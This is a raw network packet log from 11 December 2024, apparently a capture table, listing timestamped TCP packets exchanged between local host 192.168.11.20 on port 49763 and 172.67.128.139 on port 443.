Dec 11, 2024 12:45:40.514358997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.514364004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.514556885 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.516526937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.516535997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.516699076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.516885042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.516890049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.517091036 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.518574953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.518584013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.518805027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.518807888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.518882990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.519016027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.520663977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.520672083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.520808935 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.520905018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.520908117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.521055937 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.521109104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.522356033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.522365093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.522496939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.522655964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.522660017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.522838116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.525221109 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.525228977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.525476933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.525480986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.525671959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.526711941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.526721001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.526880980 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.526930094 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.526932955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.527089119 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.527153969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.528544903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.528680086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.528791904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.528882980 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.528886080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.529052019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.719253063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.719281912 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.719490051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.719646931 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.719655037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.719702005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.719871044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.721277952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.721306086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.721504927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.721513987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.721596003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.721740007 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.723150015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.723176956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.723315954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.723376989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.723386049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.723576069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.725133896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.725162983 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.725263119 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.725503922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.725512028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.725831032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.727426052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.727459908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.727646112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.727663040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.727735996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.727904081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.729618073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.729645014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.729883909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.729893923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.729929924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.730062962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.731414080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.731441021 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.731662035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.731673956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.731842041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.731889963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.733371973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.733398914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.733598948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.733607054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.733678102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.733793974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.735344887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.735372066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.735559940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.735568047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.735624075 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.735757113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.737384081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.737410069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.737550974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.737596035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.737605095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.737694025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.737889051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.739769936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.739797115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.740127087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.740127087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.740317106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.740317106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.740334034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.740595102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.741734982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.741760969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.741868019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.741942883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.741950989 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.742060900 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.742161036 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.743680954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.743711948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.743905067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.743915081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.743997097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.744126081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.745506048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.745532990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.745894909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.745903969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.746078014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.748083115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.748146057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.748250008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.748296022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.748307943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.748393059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.748541117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.749846935 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.749874115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.750291109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.750302076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.750459909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.751777887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.751955032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.751969099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.752005100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.752012014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.752268076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.753693104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.753719091 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.753879070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.753973961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.753983974 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.754086971 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.755652905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.755683899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.755841970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.755852938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.755896091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.756036997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.758032084 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.758060932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.758244038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.758261919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.758296967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.758296967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.759985924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.760016918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.760121107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.760134935 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.760215044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.760317087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.762037992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.762064934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.762394905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.762414932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.762583017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.763940096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.763971090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.764071941 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.764081001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.764149904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.764306068 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.765831947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.765858889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.765984058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.766205072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.766215086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.768402100 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.768431902 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.768565893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.768574953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.768619061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.768764973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.770168066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.770195007 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.770287037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.770493984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.770509958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.772207975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.772237062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.772391081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.772401094 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.772531986 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.774068117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.774092913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.774226904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.774241924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.774346113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.774430990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.776854992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.776880980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.777055979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.777066946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.777123928 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.777254105 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.956954956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.956984043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.957124949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.957489967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.957504988 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.957814932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.958868027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.958893061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.959059000 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.959070921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.959126949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.959399939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.960779905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.960807085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.960947990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.960999012 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.961007118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.961045027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.961168051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.962745905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.962773085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.963016987 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.963164091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.963175058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.963217020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.963458061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.964685917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.964711905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.964838028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.964845896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.964900017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.964906931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.965054989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.967251062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.967281103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.967396975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.967577934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.967592001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.969014883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.969043970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.969150066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.969161034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.969238043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.969397068 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.971024990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.971051931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.971231937 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.971245050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.971347094 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.973229885 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.973259926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.973387957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.973397017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.973572016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.975512028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.975538015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.975662947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.975806952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.975816965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.977411985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.977442980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.977586985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.977596045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.977653980 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.977794886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.979187965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.979214907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.979312897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.979445934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.979454041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.979559898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.981142998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.981173038 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.981292963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.981303930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.981446981 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.984055996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.984083891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.984201908 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.984348059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.984355927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.985501051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.985531092 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.985631943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.985641956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.985802889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.987544060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.987570047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.987703085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.987845898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.987864017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.990329981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.990359068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.990483999 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.990500927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.990679979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.992249966 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.992276907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.992403984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.992590904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.992609978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.994168043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.994196892 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.994396925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.994417906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.994457960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.995809078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.995834112 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.995981932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.996001959 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.996171951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.996364117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.998625994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.998656034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.998804092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.998888016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.998912096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.998996019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.000492096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.000521898 CET	443	49763	172.67.128.139	192.168.11.20
